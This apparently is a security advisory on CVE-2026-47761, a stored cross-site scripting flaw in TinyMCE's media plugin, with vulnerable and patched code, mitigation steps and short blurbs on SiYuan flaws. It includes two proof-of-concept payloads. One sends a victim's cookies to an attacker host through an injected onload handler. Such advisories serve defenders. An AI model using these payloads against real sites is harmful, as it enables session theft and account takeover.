Jun 5, 2026·6 min read·61 visits
An input validation flaw in TinyMCE's media plugin allows stored cross-site scripting via unvalidated data-mce-* attributes that bypass standard HTML filters.
TinyMCE prior to versions 5.11.1, 7.9.3, and 8.5.1 is vulnerable to a Stored Cross-Site Scripting (XSS) vulnerability. The flaw exists in the media plugin, which fails to properly validate and sanitize custom placeholder attributes starting with 'data-mce-*' during HTML deserialization. An attacker with content-editing permissions can exploit this vulnerability to execute arbitrary JavaScript within the session of another user who views the compiled content.
TinyMCE is an open-source rich-text editor commonly integrated into web content management systems, administration panels, and corporate portals. The editor incorporates a media plugin to handle dynamic content components, such as frame-based videos, object assets, and audio player interfaces. To manage layout stability in the editable area, the media plugin serializes these interactive nodes into non-interactive placeholder images.
The vulnerability, cataloged as CVE-2026-47761, stems from the mechanism used to store the original properties of these rich-media assets. The plugin caches raw property values inside custom HTML5 attributes prefixed with 'data-mce-'. Because downstream filters typically permit arbitrary 'data-*' attributes, the payloads bypass security boundaries before the application saves them to the persistent datastore.
When a user renders the stored markup, the editor deserializes these custom attributes back into live DOM objects. During this rendering process, the application does not validate the reconstructed elements. This enables an attacker to deliver executable code to the browser of any user who loads the edited document.
To prevent live scripts or active content from executing inside the rich-text editing window, TinyMCE replaces interactive tags with static img structures during serialization. A typical media block containing an iframe gets serialized to an img tag with the class 'mce-object' and custom metadata structures. These structures include 'data-mce-object' to record the original tag type and 'data-mce-p-[attribute]' to store arbitrary properties such as the iframe source.
The logic failure occurs during deserialization when the static placeholder is parsed to regenerate the live element. The parser loops through all attributes on the placeholder image to extract original values. It strips the 'data-mce-p-' prefix and registers the remaining string directly as a property on the newly generated active tag.
Two critical flaws exist in this architecture. First, the parsing routine does not restrict the target tag represented by 'data-mce-object', allowing dangerous tag categories such as script blocks to be specified. Second, the parser mapping loop does not filter out active event handlers or dangerous URI protocols. This allows standard attributes to be rewritten directly onto the output element, establishing the initial trigger path for arbitrary script execution.
Prior to remediation, the attribute assignment module within the media plugin processed deserialization parameters dynamically without safety checks. The following logic model represents the vulnerable attribute recreation sequence:
// Vulnerable attribute reconstruction logic
const attrs = placeholderElement.attributes;
for (let i = 0; i < attrs.length; i++) {
const attr = attrs[i];
if (attr.name.indexOf('data-mce-p-') === 0) {
const realName = attr.name.substring(11);
// Vulnerability: No check on whether realName is 'onload', 'onerror', etc.
rebuiltElement.setAttribute(realName, attr.value);
}
}The security patch remediates this mapping mechanism by introducing validation logic directly inside the property loop. The updated logic checks the resolved attribute name against a blocklist designed to prevent event registration:
// Patched attribute reconstruction logic
const attrs = placeholderElement.attributes;
for (let i = 0; i < attrs.length; i++) {
const attr = attrs[i];
if (attr.name.indexOf('data-mce-p-') === 0) {
const realName = attr.name.substring(11);
// Patch: Block event handlers starting with 'on'
if (/^on/i.test(realName)) {
continue;
}
// Patch: Ensure protocols are sanitized before assignment
if (realName === 'src' && attr.value.trim().toLowerCase().startsWith('javascript:')) {
continue;
}
rebuiltElement.setAttribute(realName, attr.value);
}
}Additionally, the patch restricts the parameters allowed within 'data-mce-object' to a verified tag list consisting of 'iframe', 'video', 'audio', and 'embed'. Any attempt to map properties to unauthorized elements, such as a direct script block, causes the parsing engine to reject or drop the element. Similarly, content serialized within 'data-mce-html' is forced through the integrated sanitization library to normalize dynamic references.
Exploiting this flaw requires that the attacker has permissions to input and save content processed by TinyMCE. An attacker can construct a payload by bypassing the editor's visual interface and submitting raw HTML. This is typically achieved via source-code mode, direct request interception, or by sending direct API updates to the endpoint handling the save routine.
The payload wraps a target event handler inside a 'data-mce-p-' attribute structure on a fake image. Two typical payload vectors demonstrate this mapping bypass:
<!-- Payload Variant 1: Event Handler Injection -->
<img class="mce-object mce-object-iframe"
data-mce-object="iframe"
data-mce-p-src="https://example.com"
data-mce-p-onload="fetch('https://attacker.com/steal?cookie=' + document.cookie)"
width="100"
height="100"
src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" />
<!-- Payload Variant 2: Embedded Script Payload -->
<img class="mce-object"
data-mce-object="iframe"
data-mce-html="%3Cscript%3Ealert(document.domain)%3C/script%3E"
src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" />When the victim loads the document inside the editor or views the final rendered output, TinyMCE intercepts the 'mce-object' image placeholder. The deserialization logic transforms the image into an iframe tag. It extracts the value of 'data-mce-p-onload' and applies it directly to the iframe as 'onload="fetch(...)"', causing the browser to execute the code in the victim's session context.
The impact of CVE-2026-47761 is substantial due to the execution scope of JavaScript within modern browsers. Once the malicious code runs, it acts on behalf of the viewing user under the host application origin. If the viewer is an administrator, the script can modify site settings, create unauthorized administrative accounts, or execute state-changing administrative APIs.
The CVSS v3.1 base score of 8.7 reflects this risk. Attackers need low privileges to post content, and exploitation requires minimal user interaction. The impact on confidentiality and integrity is rated high because sensitive session identifiers, anti-CSRF tokens, and application data can be exfiltrated through asynchronous requests.
While the EPSS score of 0.00032 indicates low current exploitation probability, the widespread usage of TinyMCE in critical infrastructure management and enterprise portals makes it an attractive vector. The vulnerability is stored, meaning a single payload remains present in the database to target multiple viewers over an extended duration.
The most effective resolution is upgrading TinyMCE to a patched release. If running the 5.x branch, upgrade to version 5.11.1 or higher. If running the 7.x branch, upgrade to 7.9.3 or higher. If running the 8.x branch, upgrade to 8.5.1 or higher. The 6.x branch is EOL, and users on that branch must migrate to supported versions.
If patching cannot be deployed immediately, organizations should disable the media plugin within the initialization script. While this blocks the inclusion of video and iframe elements, it closes the parsing vector:
tinymce.init({
selector: 'textarea',
plugins: 'anchor autolink charmap codesample emoticons image link lists searchreplace table visualblocks wordcount'
});Alternatively, implement a server-side filter within the application's sanitization chain to target attributes prefixed with 'data-mce-'. Explicitly dropping elements like 'data-mce-object', 'data-mce-html', and all attributes starting with 'data-mce-p-' blocks the payload at the ingest point before the data is stored in the database.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
TinyMCE Tiny Technologies | < 5.11.1 | 5.11.1 |
TinyMCE Tiny Technologies | 6.0.0 to 6.8.6 | 7.9.3 (Upgrade required) |
TinyMCE Tiny Technologies | 7.0.0 to < 7.9.3 | 7.9.3 |
TinyMCE Tiny Technologies | 8.0.0 to < 8.5.1 | 8.5.1 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 |
| Attack Vector | Network |
| CVSS Base Score | 8.7 |
| Exploit Status | poc |
| Impact | Stored Cross-Site Scripting (XSS) |
| KEV Status | Not Listed |
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
SiYuan before version 3.7.4 contains an authentication bypass vulnerability within its graph visualization API endpoints, allowing unauthenticated remote attackers to extract sensitive node metadata and content from password-protected documents.
SiYuan Note versions prior to v3.7.4 contain an information disclosure vulnerability in the `/api/asset/resolveAssetPath` endpoint. This endpoint returns absolute backend filesystem paths unmodified to CheckAuth-only requests. Low-privileged users or unauthenticated readers under publish mode can exploit this to leak the local directory layout, operating system username, and overall host deployment structure.
An access control vulnerability in the SiYuan personal knowledge management platform before version v3.7.4 exposes notebook encryption parameters to unauthenticated remote attackers. When the platform is configured in Publish Mode, specific API endpoints fail to enforce authorization checks. This access failure leaks key-derivation materials, password verifiers, and wrapped database keys to anonymous network clients.
A security vulnerability in the SiYuan local-first personal knowledge management system allows unauthenticated remote attackers to bypass logical boundary controls in publish (read-only) mode. By interacting with endpoints that lack proper publish-access validation, an attacker can disclose the application's internal database schemas and harvest block IDs across both public and private notebooks. This metadata leakage compromises the confidentiality of restricted documents and provides foundational information for targeted extraction.
An information disclosure vulnerability exists in the SiYuan personal knowledge management system versions prior to v3.7.4. The application fails to enforce publish-access filters on block attribute retrieval endpoints. Consequently, unauthenticated remote attackers can bypass document-level protection rules (such as password protection or disabled-publish flags) to retrieve sensitive block-level attributes, including aliases, memos, block names, and custom metadata fields, by querying the API using guessed or known block IDs.
An authentication bypass vulnerability (classified as CWE-288) exists in the publish-mode component of SiYuan, a Go-based note-taking application. This security flaw allows unauthenticated remote attackers to bypass password-protected note boundaries by leveraging auxiliary block endpoints that fail to enforce document access checks. Attackers can exploit this issue by first harvesting document metadata via a public search endpoint and subsequently fetching full rendered document contents using vulnerable block endpoints. This technical analysis explores the root cause, exploitation methodology, and remediation path.